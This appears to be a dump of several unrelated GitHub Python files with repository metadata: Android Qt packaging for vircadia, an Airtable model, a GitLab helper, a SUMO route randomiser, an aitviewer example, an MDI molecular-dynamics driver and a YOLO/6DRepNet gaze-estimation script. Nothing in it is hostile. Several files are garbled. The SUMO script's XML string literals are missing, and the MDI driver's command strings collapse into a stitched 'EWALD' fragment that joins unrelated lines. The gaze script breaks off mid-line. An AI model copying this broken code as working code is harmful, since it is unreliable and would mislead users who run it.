'sharedLibFolder': 'lib',\n 'includeLibs': ['Release/libPolyVoxCore.so', 'libPolyVoxUtil.so'],\n },\n 'tbb': {\n 'extAssetID': 'TBB_ARMV8_LIBCPP',\n 'sharedLibFolder': 'lib/release',\n 'includeLibs': ['libtbb.so', 'libtbbmalloc.so'],\n },\n 'hifiAC': {\n 'extAssetID': 'CODECSDK_ANDROID_ARMV8',\n },\n 'etc2comp': {\n 'extAssetID': 'ETC2COMP_PATCHED_ARMV8_LIBCPP',\n },\n 'breakpad': {\n 'extAssetID': 'BREAKPAD',\n 'sharedLibFolder': 'lib',\n 'includeLibs': {'libbreakpad_client.a'}\n },\n 'webrtc': {\n 'extAssetID': 'WEBRTC_ANDROID',\n }\n}\n\nANDROID_PLATFORM_PACKAGES = {\n 'Darwin' : {\n 'qt': {\n 'extAssetID': 'QT_MAC_ARMV8_LIBCPP_OPENSSL_PATCHED',\n },\n },\n 'Windows' : {\n 'qt': {\n 'extAssetID': 'QT_WIN_ARMV8_LIBCPP_OPENSSL_PATCHED',\n },\n }\n}\n\nQT5_DEPS = [\n 'Qt5Concurrent',\n 'Qt5Core',\n 'Qt5Gui',\n 'Qt5Multimedia',\n 'Qt5Network',\n 'Qt5OpenGL',\n 'Qt5Qml',\n 'Qt5Quick',\n 'Qt5QuickControls2',\n 'Qt5QuickTemplates2',\n 'Qt5Script',\n 'Qt5ScriptTools',\n 'Qt5Svg',\n 'Qt5WebChannel',\n 'Qt5WebSockets',\n 'Qt5Widgets',\n 'Qt5XmlPatterns',\n # Android specific\n 'Qt5AndroidExtras',\n 'Qt5WebView',\n]\n\ndef getPlatformPackages():\n result = ANDROID_PACKAGES.copy()\n system = platform.system()\n if system in ANDROID_PLATFORM_PACKAGES:\n platformPackages = ANDROID_PLATFORM_PACKAGES[system]\n result = { **result, **platformPackages }\n return result\n\ndef copyAndroidLibs(packagePath, appPath):\n androidPackages = getPlatformPackages()\n jniPath = os.path.join(appPath, 'src/main/jniLibs/arm64-v8a')\n if not os.path.isdir(jniPath):\n os.makedirs(jniPath)\n for packageName in androidPackages:\n package = androidPackages[packageName]\n if 'sharedLibFolder' in package:\n sharedLibFolder = os.path.join(packagePath, packageName, package['sharedLibFolder'])\n if 'includeLibs' in package:\n for lib in package['includeLibs']:\n sourceFile = os.path.join(sharedLibFolder, lib)\n destFile = os.path.join(jniPath, os.path.split(lib)[1])\n if not os.path.isfile(destFile):\n print(\"Copying {}\".format(lib))\n shutil.copy(sourceFile, destFile)\n\n gvrLibFolder = os.path.join(packagePath, 'gvr/gvr-android-sdk-1.101.0/libraries')\n audioSoOut = os.path.join(gvrLibFolder, 'libgvr_audio.so')\n if not os.path.isfile(audioSoOut):\n audioAar = os.path.join(gvrLibFolder, 'sdk-audio-1.101.0.aar')\n with zipfile.ZipFile(audioAar) as z:\n with z.open('jni/arm64-v8a/libgvr_audio.so') as f:\n with open(audioSoOut, 'wb') as of:\n shutil.copyfileobj(f, of)\n\n audioSoOut2 = os.path.join(jniPath, 'libgvr_audio.so')\n if not os.path.isfile(audioSoOut2):\n shutil.copy(audioSoOut, audioSoOut2)\n\n baseSoOut = os.path.join(gvrLibFolder, 'libgvr.so')\n if not os.path.isfile(baseSoOut):\n baseAar = os.path.join(gvrLibFolder, 'sdk-base-1.101.0.aar')\n with zipfile.ZipFile(baseAar) as z:\n with z.open('jni/arm64-v8a/libgvr.so') as f:\n with open(baseSoOut, 'wb') as of:\n shutil.copyfileobj(f, of)\n\n baseSoOut2 = os.path.join(jniPath, 'libgvr.so')\n if not os.path.isfile(baseSoOut2):\n shutil.copy(baseSoOut, baseSoOut2)\n\nclass QtPackager:\n def __init__(self, appPath, qtRootPath):\n self.appPath = appPath\n self.qtRootPath = qtRootPath\n self.jniPath = os.path.join(self.appPath, 'src/main/jniLibs/arm64-v8a')\n self.assetPath = os.path.join(self.appPath, 'src/main/assets')\n self.qtAssetPath = os.path.join(self.assetPath, '--Added-by-androiddeployqt--')\n self.qtAssetCacheList = os.path.join(self.qtAssetPath, 'qt_cache_pregenerated_file_list')\n # Jars go into the qt library\n self.jarPath = os.path.realpath(os.path.join(self.appPath, '../../libraries/qt/libs'))\n self.xmlFile = os.path.join(self.appPath, 'src/main/res/values/libs.xml')\n self.files = []\n self.features = []\n self.permissions = []\n\n def copyQtDeps(self):\n for lib in QT5_DEPS:\n libfile = os.path.join(self.qtRootPath, \"lib/lib{}.so\".format(lib))\n if not os.path.exists(libfile):\n continue\n self.files.append(libfile)\n androidDeps = os.path.join(self.qtRootPath, \"lib/{}-android-dependencies.xml\".format(lib))\n if not os.path.exists(androidDeps):\n continue\n\n tree = ET.parse(androidDeps)\n root = tree.getroot()\n for item in root.findall('./dependencies/lib/depends/*'):\n if (item.tag == 'lib') or (item.tag == 'bundled'):\n relativeFilename = item.attrib['file']\n if (relativeFilename.startswith('qml')):\n continue\n filename = os.path.join(self.qtRootPath, relativeFilename)\n self.files.extend(hifi_utils.recursiveFileList(filename, excludeNamePattern=r\"^\\.\"))\n elif item.tag == 'jar' and 'bundling' in item.attrib and item.attrib['bundling'] == \"1\":\n self.files.append(os.path.join(self.qtRootPath, item.attrib['file']))\n elif item.tag == 'permission':\n self.permissions.append(item.attrib['name'])\n elif item.tag == 'feature':\n self.features.append(item.attrib['name'])\n\n def scanQmlImports(self):\n qmlImportCommandFile = os.path.join(self.qtRootPath, 'bin/qmlimportscanner')\n system = platform.system()\n if 'Windows' == system:\n qmlImportCommandFile += \".exe\"\n if not os.path.isfile(qmlImportCommandFile):\n raise RuntimeError(\"Couldn't find qml import scanner\")\n qmlRootPath = hifi_utils.scriptRelative('interface/resources/qml')\n qmlImportPath = os.path.join(self.qtRootPath, 'qml')\n commandResult = hifi_utils.executeSubprocessCapture([\n qmlImportCommandFile,\n '-rootPath', qmlRootPath,\n '-importPath', qmlImportPath\n ])\n qmlImportResults = json.loads(commandResult)\n for item in qmlImportResults:\n if 'path' not in item:\n continue\n path = os.path.realpath(item['path'])\n if not os.path.exists(path):\n continue\n basePath = path\n if os.path.isfile(basePath):\n basePath = os.path.dirname(basePath)\n basePath = os.path.normcase(basePath)\n if basePath.startswith(qmlRootPath):\n continue\n self.files.extend(hifi_utils.recursiveFileList(path, excludeNamePattern=r\"^\\.\"))\n\n def processFiles(self):\n self.files = list(set(self.files))\n self.files.sort()\n libsXmlRoot = ET.Element('resources')\n qtLibsNode = ET.SubElement(libsXmlRoot, 'array', {'name':'qt_libs'})\n bundledLibsNode = ET.SubElement(libsXmlRoot, 'array', {'name':'bundled_in_lib'})\n bundledAssetsNode = ET.SubElement(libsXmlRoot, 'array', {'name':'bundled_in_assets'})\n libPrefix = 'lib'\n for sourceFile in self.files:\n if not os.path.isfile(sourceFile):\n raise RuntimeError(\"Unable to find dependency file \" + sourceFile)\n relativePath = os.path.relpath(sourceFile, self.qtRootPath).replace('\\\\', '/')\n destinationFile = None\n if relativePath.endswith('.so'):\n garbledFileName = None\n if relativePath.startswith(libPrefix):\n garbledFileName = relativePath[4:]\n p = re.compile(r'lib(Qt5.*).so')\n m = p.search(garbledFileName)\n if not m:\n raise RuntimeError(\"Huh?\")\n libName = m.group(1)\n ET.SubElement(qtLibsNode, 'item').text = libName\n else:\n garbledFileName = 'lib' + relativePath.replace('/', '_'[0])\n value = \"{}:{}\".format(garbledFileName, relativePath).replace('\\\\', '/')\n ET.SubElement(bundledLibsNode, 'item').text = value\n destinationFile = os.path.join(self.jniPath, garbledFileName)\n elif relativePath.startswith('jar'):\n destinationFile = os.path.join(self.jarPath, relativePath[4:])\n else:\n value = \"--Added-by-androiddeployqt--/{}:{}\".format(relativePath,relativePath).replace('\\\\', '/')\n ET.SubElement(bundledAssetsNode, 'item').text = value\n destinationFile = os.path.join(self.qtAssetPath, relativePath)\n\n destinationParent = os.path.realpath(os.path.dirname(destinationFile))\n if not os.path.isdir(destinationParent):\n os.makedirs(destinationParent)\n if not os.path.isfile(destinationFile):\n shutil.copy(sourceFile, destinationFile)\n\n tree = ET.ElementTree(libsXmlRoot)\n tree.write(self.xmlFile, 'UTF-8', True)\n\n def generateAssetsFileList(self):\n print(\"Implement asset file list\")\n # outputFilename = os.path.join(self.qtAssetPath, \"qt_cache_pregenerated_file_list\")\n # fileList = hifi_utils.recursiveFileList(self.qtAssetPath)\n # fileMap = {}\n # for fileName in fileList:\n # relativeFileName = os.path.relpath(fileName, self.assetPath)\n # dirName, localFileName = os.path.split(relativeFileName)\n # if not dirName in fileMap:\n # fileMap[dirName] = []\n # fileMap[dirName].append(localFileName)\n\n # for dirName in fileMap:\n # for localFileName in fileMap[dirName]:\n # ????\n\n #\n # Gradle version\n #\n # DataOutputStream fos = new DataOutputStream(new FileOutputStream(outputFile))\n # for (Map.Entry> e: directoryContents.entrySet()) {\n # def entryList = e.getValue()\n # fos.writeInt(e.key.length()*2); // 2 bytes per char\n # fos.writeChars(e.key)\n # fos.writeInt(entryList.size())\n # for (String entry: entryList) {\n # fos.writeInt(entry.length()*2)\n # fos.writeChars(entry)\n # }\n # }\n\n def bundle(self):\n if not os.path.isfile(self.xmlFile):\n print(\"Bundling Qt info into {}\".format(self.xmlFile))\n self.copyQtDeps()\n self.scanQmlImports()\n self.processFiles()\n # if not os.path.isfile(self.qtAssetCacheList):\n # self.generateAssetsFileList()\n\n\n","repo_name":"vircadia/vircadia-native-core","sub_path":"hifi_android.py","file_name":"hifi_android.py","file_ext":"py","file_size_in_byte":12129,"program_lang":"python","lang":"en","doc_type":"code","stars":523,"dataset":"github-code","pt":"78"} +{"seq_id":"8161306027","text":"from typing import Optional\n\nfrom pydantic import Field, validator\n\nfrom app.airtable.base_model import BaseModel\nfrom app.airtable.response import AirtableResponse, ListAirtableResponse\nfrom app.airtable.validators import get_first_or_default_none\n\n\nclass AirtableGeoAreaTargetCommunityFields(BaseModel):\n area_name: Optional[str] = Field(alias=\"Area Name\")\n area_type: Optional[str] = Field(alias=\"Area Type\")\n city_radius: Optional[int] = Field(alias=\"City Radius\", default=30)\n polygon_coordinates: Optional[str] = Field(alias=\"Polygon Coordinates\")\n hub_synced_record_id: Optional[str] = Field(alias=\"Associated Hub Synced Record ID\")\n hub_name: Optional[str] = Field(alias=\"Associated Hub\")\n target_community: Optional[str] = Field(alias=\"Target Community\")\n target_community_name: Optional[str] = Field(alias=\"Target Community Name\")\n target_community_synced_record_id: Optional[str] = Field(alias=\"Target Community Synced Record ID\")\n latitude: Optional[float] = Field(alias=\"Latitude\")\n longitude: Optional[float] = Field(alias=\"Longitude\")\n geocode: Optional[str] = Field(alias=\"Geocode\")\n\n # reusable validator\n _get_first_or_default_none = validator(\n \"area_name\",\n \"area_type\",\n \"polygon_coordinates\",\n \"city_radius\",\n \"target_community\",\n \"target_community_name\",\n \"target_community_synced_record_id\",\n \"hub_name\",\n \"hub_synced_record_id\",\n \"latitude\",\n \"longitude\",\n \"geocode\",\n pre=True,\n allow_reuse=True,\n )(get_first_or_default_none)\n\n\nclass AirtableGeoAreaTargetCommunityResponse(AirtableResponse):\n fields: AirtableGeoAreaTargetCommunityFields\n\n\nclass ListAirtableGeoAreaTargetCommunityResponse(ListAirtableResponse):\n __root__: list[AirtableGeoAreaTargetCommunityResponse]\n","repo_name":"WildflowerSchools/wf-airtable-api","sub_path":"app/airtable/base_map_by_geographic_area/geo_area_target_communities.py","file_name":"geo_area_target_communities.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10254050643","text":"\"\"\"Gitlab's isses objects\"\"\"\n\nfrom .utils import enrich_gitlab_list\n\n\ndef get(gitlab_api):\n \"\"\"Retrieve current user's issues and adapt the data to be displayed\"\"\"\n issues = gitlab_api.issues.list(\n scope=\"all\", state=\"opened\", assignee_id=gitlab_api.user.id\n )\n return enrich_gitlab_list(issues, gitlab_api)\n","repo_name":"polyedre/gitlab-watcher","sub_path":"gitlab_watcher/issues.py","file_name":"issues.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12162664886","text":"import os\nimport sys\nfrom random import randrange\nfrom random import randint\n\npercentOfRouToChange = 0.5 # Define in % the number of departure times you'd like altered (must be 0-1, 1 = 100%)\nnumberOfAlternateRoutes = 10 # Define how many different altered routes you'd like\n\nroutesFilePath = \"routes.rou.xml\" # File name/path for routes.rou.xml; if blank, user will be prompted\ntripsFilePath = \"\" # File path for trips.trips.xml; if blank, user will be prompted\nroutesData = {} # Dictionary to host deconstructed xml file\n\n# Get input file path if none specified\n#---------------------------\nif routesFilePath == \"\":\n routesFilePath = input(\"Please enter the file path for the route file you'd like to alter: \")\n#---------------------------\n\nfor newRouteCount in range(numberOfAlternateRoutes):\n # Deconstruct routes file into a Dictionary (key=departureTime/id, value=route)\n #---------------------------\n f = open(routesFilePath, \"r\")\n\n for row in f:\n if \" 299:\n newDepartureTime = 299\n else:\n newDepartureTime = routesData[index][0] + changeValue # Update departure value\n \n routesData[index] = (newDepartureTime, routes) # Update routes dictionary\n\n # values = list(routesData.values())\n # departureTimes = []\n # for valTuple in values:\n # departureTimes.append(valTuple[0])\n # print(departureTimes)\n\n # Sort dictionary by value\n newRoutesData = {k: v for k, v in sorted(routesData.items(), key=lambda item: item[1])}\n\n # Reconstruct routes file with new data\n #---------------------------\n newFileName = \"routes\" + str(int(percentOfRouToChange*100)) + \"_\" + str(newRouteCount+1) + \".rou.xml\"\n f = open(newFileName, \"w\")\n f.write(\"\\n\\n\\n\")\n f.write(\"\\n\")\n\n # For each entry in the routesData database, an XML representation is constructed with the data\n for rouID in newRoutesData:\n f.write(\" \\n \\n \\n\")\n\n f.write(\"\")\n f.close()\n\n # Make a config file for each new route\n newConfigFileName = \"config_file_\" + str(newRouteCount+1) + \".sumocfg\"\n f = open(newConfigFileName, \"w\")\n f.write(\"\\n \\n \\n \\n \\n\\n \\n\\n\")\n f.close()\n #---------------------------\n\nprint(\"\\nCreated\", numberOfAlternateRoutes, \"new route and config file(s) successfully!\")\n\n","repo_name":"croatis/SATLO","sub_path":"Project Development/Testing/AlterDepartureTimes.py","file_name":"AlterDepartureTimes.py","file_ext":"py","file_size_in_byte":4821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15907647979","text":"import os\n\nimport numpy as np\n\nfrom aitviewer.configuration import CONFIG as C\nfrom aitviewer.renderables.point_clouds import PointClouds\nfrom aitviewer.renderables.smpl import SMPLSequence\nfrom aitviewer.viewer import Viewer\n\nif __name__ == \"__main__\":\n # Load an AMASS sequence and make sure it's sampled at 60 fps. This automatically loads the SMPL-H model.\n # We set transparency to 0.5 and render the joint coordinates systems.\n c = (149 / 255, 85 / 255, 149 / 255, 0.5)\n seq_amass = SMPLSequence.from_amass(\n npz_data_path=os.path.join(C.datasets.amass, \"ACCAD/Female1Running_c3d/C2 - Run to stand_poses.npz\"),\n fps_out=60.0,\n color=c,\n name=\"AMASS Running\",\n show_joint_angles=True,\n )\n\n # Instead of displaying the mesh, we can also just display point clouds.\n #\n # Point clouds do not actually draw triangulated spheres (like the `Spheres` class does). They\n # use a more efficient shader, so that a large amount of points can be rendered (at the cost of not having a proper\n # illumination model on the point clouds).\n #\n # Move the point cloud a bit along the x-axis so it doesn't overlap with the mesh data.\n # Amass data need to be rotated to get the z axis up.\n ptc_amass = PointClouds(seq_amass.vertices, position=np.array([1.0, 0.0, 0.0]), color=c, z_up=True)\n\n # Display in the viewer.\n v = Viewer()\n v.run_animations = True\n v.scene.camera.position = np.array([10.0, 2.5, 0.0])\n v.scene.add(seq_amass, ptc_amass)\n v.run()\n","repo_name":"xdtcssdi/aitviewer","sub_path":"examples/load_AMASS.py","file_name":"load_AMASS.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"40906775495","text":"import mdi\nfrom mdi import MDI_NAME_LENGTH, MDI_COMMAND_LENGTH\nimport sys\n\niarg = 1\nwhile iarg < len(sys.argv):\n arg = sys.argv[iarg]\n\n if arg == \"-mdi\":\n # Initialize MDI\n if len(sys.argv) <= iarg+1:\n raise Exception(\"Argument to -mdi option not found\")\n mdi.MDI_Init(sys.argv[iarg+1])\n iarg += 1\n else:\n raise Exception(\"Unrecognized argument\")\n\n iarg += 1\n\n\nclass MDIDriver:\n\n def __init__(self):\n # Connect to the engine\n self.comm = mdi.MDI_Accept_Communicator()\n\n\n # Number of atoms in the system\n self.natoms = 0\n\n # Flag whether to compute polarization contribution to the energy\n self.polarize = 0\n \n # The current multipoles of the system\n self.multipoles = None\n\n # The current polarities of the system\n self.polarities = None\n\n\n def set_polar(self, do_polarize):\n\n atoms_to_zero = [328, 329, 330, 1165, 1166, 1167] \n\n\n # Set the polarities of the QM atoms to zero\n for iatom in atoms_to_zero:\n self.polarities[iatom-1] = 0.0\n\n\n if do_polarize:\n\n self.polarize = 1\n\n self.multipoles[9*(328-1)] = -0.84608\n self.multipoles[9*(329-1)] = 0.37959\n self.multipoles[9*(330-1)] = 0.41834\n self.multipoles[9*(1165-1)] = -0.73451\n self.multipoles[9*(1166-1)] = 0.40495\n self.multipoles[9*(1167-1)] = 0.37771\n\n # Zero all components of the multipoles on a selected group of atoms, \n # except for the monopoles\n \n for iatom in atoms_to_zero:\n for i in range(1, 9):\n self.multipoles[9*(iatom-1)+i] = 0.0\n\n\n else:\n\n self.polarize = 0\n\n # Zero the multipoles on the QM atoms\n for iatom in atoms_to_zero:\n for i in range(9):\n self.multipoles[9*(iatom-1)+i] = 0.0\n\n\n # Send the multipoles to the engine\n mdi.MDI_Send_command(\">MULTIPOLES\", self.comm)\n mdi.MDI_Send(self.multipoles, 9*self.natoms, mdi.MDI_DOUBLE, self.comm)\n\n # Send the polarize flag to the engine\n mdi.MDI_Send_command(\">POLARIZE\", self.comm)\n mdi.MDI_Send(self.polarize, 1, mdi.MDI_INT, self.comm)\n \n # Send the polarities to the engine\n mdi.MDI_Send_command(\">POLARITIES\", self.comm)\n mdi.MDI_Send(self.polarities, self.natoms, mdi.MDI_DOUBLE, self.comm)\n\n # Send the list of active atoms to the engine\n active = [ 1 for iatom in range(self.natoms) ]\n for iatom in atoms_to_zero:\n active[iatom-1] = 0\n mdi.MDI_Send_command(\">ACTIVE\", self.comm)\n mdi.MDI_Send(active, self.natoms, mdi.MDI_INT, self.comm)\n\n\n def run(self):\n\n # Get the name of the engine, which will be checked and verified at the end\n mdi.MDI_Send_command(\"EWALD\", self.comm)\n mdi.MDI_Send(ewald_flag, 1, mdi.MDI_INT, self.comm)\n \n # Turn polarization off\n self.set_polar(False)\n\n mdi.MDI_Send_command(\"EWALD\", self.comm)\n mdi.MDI_Send(ewald_flag, 1, mdi.MDI_INT, self.comm)\n\n # Turn polarization off\n self.set_polar(False)\n\n mdi.MDI_Send_command(\"= 1\n p, s, im0, frame = path[i], '%g: ' % i, im0s[i].copy(), dataset.count\n else:\n p, s, im0, frame = path, '', im0s, getattr(dataset, 'frame', 0)\n \n\n p = Path(p) # to Path\n save_path = str(save_dir / p.name) # img.jpg\n txt_path = str(save_dir / 'labels' / p.stem) + ('' if dataset.mode == 'image' else f'_{frame}') # img.txt\n gn = torch.tensor(im0.shape)[[1, 0, 1, 0]] # normalization gain whwh\n\n start = time.time()\n if len(det):\n # Rescale boxes from img_size to im0 size\n det[:, :4] = scale_coords(img.shape[2:], det[:, :4], im0.shape).round()\n\n # Print results\n for c in det[:, -1].unique():\n n = (det[:, -1] == c).sum() # detections per class\n s += f\"{n} {names[int(c)]}{'s' * (n > 1)}, \" # add to string\n\n # ------- Main Algorithm ------\n face_max = 0\n eye_right = []\n eye_left = []\n pupil_left = []\n pupil_right = []\n mouse_roi = []\n\n driver_face_local = []\n # find driver face\n for *xyxy, conf, cls in reversed(det):\n if names[int(cls)] == 'face':\n bb = [int(x) for x in xyxy]\n face_area = (bb[2] - bb[0])*(bb[3]-bb[1])\n if(face_area > face_max) :\n face_max = face_area\n driver_face_local = bb\n\n if len(driver_face_local) == 0:\n break\n\n # find all boundary of face \n for *xyxy, conf, cls in reversed(det):\n bb = [int(x) for x in xyxy]\n center = (bb[0]+(bb[2]-bb[0])/2,bb[1]+(bb[3]-bb[1])/2)\n # if cs of landmark center inside the driver face\n if (center[0] > driver_face_local[0] and center[0] < driver_face_local[2]) \\\n and (center[1] > driver_face_local[1] and center[1] < driver_face_local[3]):\n if names[int(cls)] == 'eye' and bb[3] < nose_center_point[1]:\n if (center[0] < nose_center_point[0]):\n eye_left = bb\n else:\n eye_right = bb\n if names[int(cls)] == 'pupil' and bb[3] < nose_center_point[1]:\n if (center[0] < nose_center_point[0]):\n pupil_left = bb\n else :\n pupil_right = bb\n if names[int(cls)] == 'nose' :\n nose_center_point = center\n if names[int(cls)] == 'mouse':\n mouse_roi = bb\n\n # 6DRepNet\n x_min,y_min,x_max,y_max = driver_face_local\n bbox_width = abs(x_max - x_min)\n bbox_height = abs(y_max - y_min)\n\n x_min = max(0, x_min-int(0.2*bbox_height))\n y_min = max(0, y_min-int(0.2*bbox_width))\n x_max = x_max+int(0.2*bbox_height)\n y_max = y_max+int(0.2*bbox_width)\n\n img = im0[y_min:y_max, x_min:x_max]\n img = Image.fromarray(img)\n img = img.convert('RGB')\n img = transformations_6D(img)\n\n img = torch.Tensor(img[None, :]).to(device)\n\n R_pred = model_6DRepNet(img)\n\n euler = utils_with_6D.compute_euler_angles_from_rotation_matrices(\n R_pred)*180/np.pi\n p_pred_deg = euler[:, 0].cpu()\n y_pred_deg = euler[:, 1].cpu()\n r_pred_deg = euler[:, 2].cpu()\n\n # utils_with_6D.plot_pose_cube(im0, y_pred_deg, p_pred_deg, r_pred_deg, x_min + int(.5*(\n # x_max-x_min)), y_min + int(.5*(y_max-y_min)), size=bbox_width)\n height, width = im0.shape[:2]\n tdx = width - 70\n tdy = 70\n\n # R_headpose = utils_with_6D.get_R(r_pred_deg,y_pred_deg,p_pred_deg)\n utils_with_6D.draw_axis(im0,y_pred_deg,p_pred_deg,r_pred_deg,tdx,tdy, size = 50)\n utils_with_6D.draw_gaze_6D(nose_center_point,im0,y_pred_deg,p_pred_deg,color=(0,0,255))\n\n # End 6DRepNet\n\n # pupil left\n flag_list = [1,1,1,1,1,1,1]\n\n # ellipse fit eye and define eye region\n if len(eye_left) > 0:\n left_eye_img = im0[eye_left[1]:eye_left[3],eye_left[0]:eye_left[2],:]\n # El_left_eye_thresh = find_max_Thresh(left_eye_img,flag_list)\n # El_left_eye_thresh_global = ((El_left_eye_thresh[0][0] + eye_left[0], El_left_eye_thresh[0][1] \\\n # + eye_left[1]),El_left_eye_thresh[1],El_left_eye_thresh[2])\n # cv2.ellipse(im0, El_left_eye_thresh_global, (255, 0, 0), 2)\n # left_eye_center = El_left_eye_thresh_global[0]\n # left_eye_length = El_left_eye_thresh_global[1][0]\n left_eye_center = (eye_left[0]+(eye_left[2]-eye_left[0])/2,eye_left[1]+(eye_left[3]-eye_left[1])/2)\n left_eye_length = (eye_left[2]-eye_left[0])/2\n if len(eye_right) > 0:\n right_eye_img = im0[eye_right[1]:eye_right[3],eye_right[0]:eye_right[2],:]\n # El_right_eye_thresh = find_max_Thresh(right_eye_img,flag_list)\n # El_right_eye_thresh_global = ((El_right_eye_thresh[0][0] + eye_right[0], El_right_eye_thresh[0][1] \\\n # + eye_right[1]),El_right_eye_thresh[1],El_right_eye_thresh[2])\n # cv2.ellipse(im0, El_right_eye_thresh_global, (255, 0, 0), 2)\n # right_eye_center = El_right_eye_thresh_global[0]\n # right_eye_length = El_right_eye_thresh_global[1][0]\n right_eye_center = (eye_right[0]+(eye_right[2]-eye_right[0])/2,eye_right[1]+(eye_right[3]-eye_right[1])/2)\n right_eye_length = (eye_right[2]-eye_right[0])/2\n\n # ellipse fit left pupil and gaze estimate\n if len(pupil_left) > 0 and len(eye_left) > 0:\n # pupil_left_img = im0[pupil_left[1]:pupil_left[3],pupil_left[0]:pupil_left[2],:]\n # pupil_left_center = (int((pupil_left[0]+pupil_left[2])/2),int((pupil_left[1]+pupil_left[3])/2))\n # radius_left = int(min(pupil_left[3]-pupil_left[1],pupil_left[2]-pupil_left[0])/4*3)\n # # create a circle to reduce shade effect\n # cv2.circle(pupil_left_img,pupil_left_center,radius_left,(0,0,0),thickness=cv2.FILLED)\n # El_left_iris_thresh = find_max_Thresh(pupil_left_img,flag_list)\n \n # if El_left_iris_thresh != None:\n # El_left_iris_thresh_global = ((El_left_iris_thresh[0][0] + pupil_left[0], El_left_iris_thresh[0][1] \\\n # + pupil_left[1]),El_left_iris_thresh[1],El_left_iris_thresh[2])\n # left_iris_ldmks = find_ellipse_point(num_iris_landmark,El_left_iris_thresh_global)\n # im0 = draw_ellipse_point(im0,left_iris_ldmks,El_left_iris_thresh_global)\n # left_gaze = GM.estimate_gaze_from_landmarks(left_iris_ldmks, El_left_iris_thresh_global[0], left_eye_center, left_eye_length)\n # left_gaze = left_gaze.reshape(1, 2)\n\n # left_gaze[0][1] = -left_gaze[0][1]\n # im0 = gaze_util.draw_gaze(im0,El_left_iris_thresh_global[0],left_gaze[0])\n if gaze_model_flag == 1 and abs(y_pred_deg[0].item()) < 30.0:\n # facelandmark\n rect = dlib.rectangle(driver_face_local[0],driver_face_local[1],driver_face_local[2],driver_face_local[3])\n shape = predictor(im0, rect)\n shape = face_utils.shape_to_np(shape)\n (x, y, w, h) = face_utils.rect_to_bb(rect)\n cv2.rectangle(im0, (x, y), (x + w, y + h), (0, 255, 0), 2)\n # left\n if shape[0][0] > eye_left[0]:\n cv2.circle(im0, (shape[0][0], shape[0][1]), 1, (0, 0, 255), -1)\n \n pupil_left_center = (int((pupil_left[0]+pupil_left[2])/2),int((pupil_left[1]+pupil_left[3])/2))\n radius_left = (int(pupil_left[2]-pupil_left[0]),int(pupil_left[3]-pupil_left[1]))\n left_iris_ldmks = find_yolo_ellipse_point(num_iris_landmark,pupil_left_center,radius_left)\n im0 = draw_yolo_ellipse_point(im0,left_iris_ldmks,pupil_left_center)\n left_gaze = GM.estimate_gaze_from_landmarks(left_iris_ldmks, pupil_left_center, left_eye_center, left_eye_length)\n \n left_gaze = left_gaze.reshape(1, 2)\n left_gaze[0][1] = -left_gaze[0][1]\n im0 = gaze_util.draw_gaze(im0,pupil_left_center,left_gaze[0])\n\n\n # ellipse fit right pupil and gaze estimate\n if len(pupil_right) > 0 and len(eye_right) > 0:\n # pupil_right_img = im0[pupil_right[1]:pupil_right[3],pupil_right[0]:pupil_right[2],:]\n # pupil_right_center = (int((pupil_right[0]+pupil_right[2])/2),int((pupil_right[1]+pupil_right[3])/2))\n # radius_right = int(min(pupil_right[3]-pupil_right[1],pupil_right[2]-pupil_right[0])/4*3)\n # # create a circle to reduce shade effect\n # cv2.circle(pupil_right_img,pupil_right_center,radius_right,(0,0,0),thickness=cv2.FILLED)\n # El_right_iris_thresh = find_max_Thresh(pupil_right_img,flag_list)\n \n # if El_right_iris_thresh != None:\n # El_right_iris_thresh_global = ((El_right_iris_thresh[0][0] + pupil_right[0], El_right_iris_thresh[0][1] \\\n # + pupil_right[1]),El_right_iris_thresh[1],El_right_iris_thresh[2])\n # right_iris_ldmks = find_ellipse_point(num_iris_landmark,El_right_iris_thresh_global)\n # im0 = draw_ellipse_point(im0,right_iris_ldmks,El_right_iris_thresh_global)\n # right_gaze = GM.estimate_gaze_from_landmarks(right_iris_ldmks, El_right_iris_thresh_global[0], right_eye_center, right_eye_length)\n # right_gaze = right_gaze.reshape(1, 2)\n\n # right_gaze[0][1] = -right_gaze[0][1]\n # im0 = gaze_util.draw_gaze(im0,El_right_iris_thresh_global[0],right_gaze[0])\n if gaze_model_flag == 1:\n pupil_right_center = (int((pupil_right[0]+pupil_right[2])/2),int((pupil_right[1]+pupil_right[3])/2))\n radius_right = (int(pupil_right[2]-pupil_right[0]),int(pupil_right[3]-pupil_right[1]))\n right_iris_ldmks = find_yolo_ellipse_point(num_iris_landmark,pupil_right_center,radius_right)\n im0 = draw_yolo_ellipse_point(im0,right_iris_ldmks,pupil_right_center)\n right_gaze = GM.estimate_gaze_from_landmarks(right_iris_ldmks, pupil_right_center, right_eye_center, right_eye_length)\n\n right_gaze = right_gaze.reshape(1, 2)\n right_gaze[0][1] = -right_gaze[0][1]\n im0 = gaze_util.draw_gaze(im0,pupil_right_center,right_gaze[0])\n\n\n # # headpose + gaze\n # if eye_gaze != []:\n # eye_gaze = np.mean(eye_gaze, axis=0)\n # y_pred_deg += \n # R_headpose = utils_with_6D.get_R(r_pred_deg,y_pred_deg,p_pred_deg)\n\n # update eye image\n if len(eye_left) > 0:\n # print(\"eye_left\",eye_left)\n left_eye_img = im0[eye_left[1]:eye_left[3],eye_left[0]:eye_left[2],:]\n left_eye_img = cv2.resize(left_eye_img,(eye_w_roi,eye_h_roi))\n if len(eye_right) > 0:\n # print(\"eye_right\",eye_right)\n right_eye_img = im0[eye_right[1]:eye_right[3],eye_right[0]:eye_right[2],:]\n right_eye_img = cv2.resize(right_eye_img,(eye_w_roi,eye_h_roi))\n\n # put eye image on left top\n im0[0:eye_h_roi,0:eye_w_roi,:] = left_eye_img\n im0[0:eye_h_roi,eye_w_roi:2*eye_w_roi,:] = right_eye_img\n # im0[eye_h_roi:2*eye_h_roi,0:eye_w_roi,:] = rotation_left_eye_img\n \n # Write results\n for *xyxy, conf, cls in reversed(det):\n if save_txt: # Write to file\n xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) / gn).view(-1).tolist() # normalized xywh\n line = (cls, *xywh, conf) if opt.save_conf else (cls, *xywh) # label format\n with open(txt_path + '.txt', 'a') 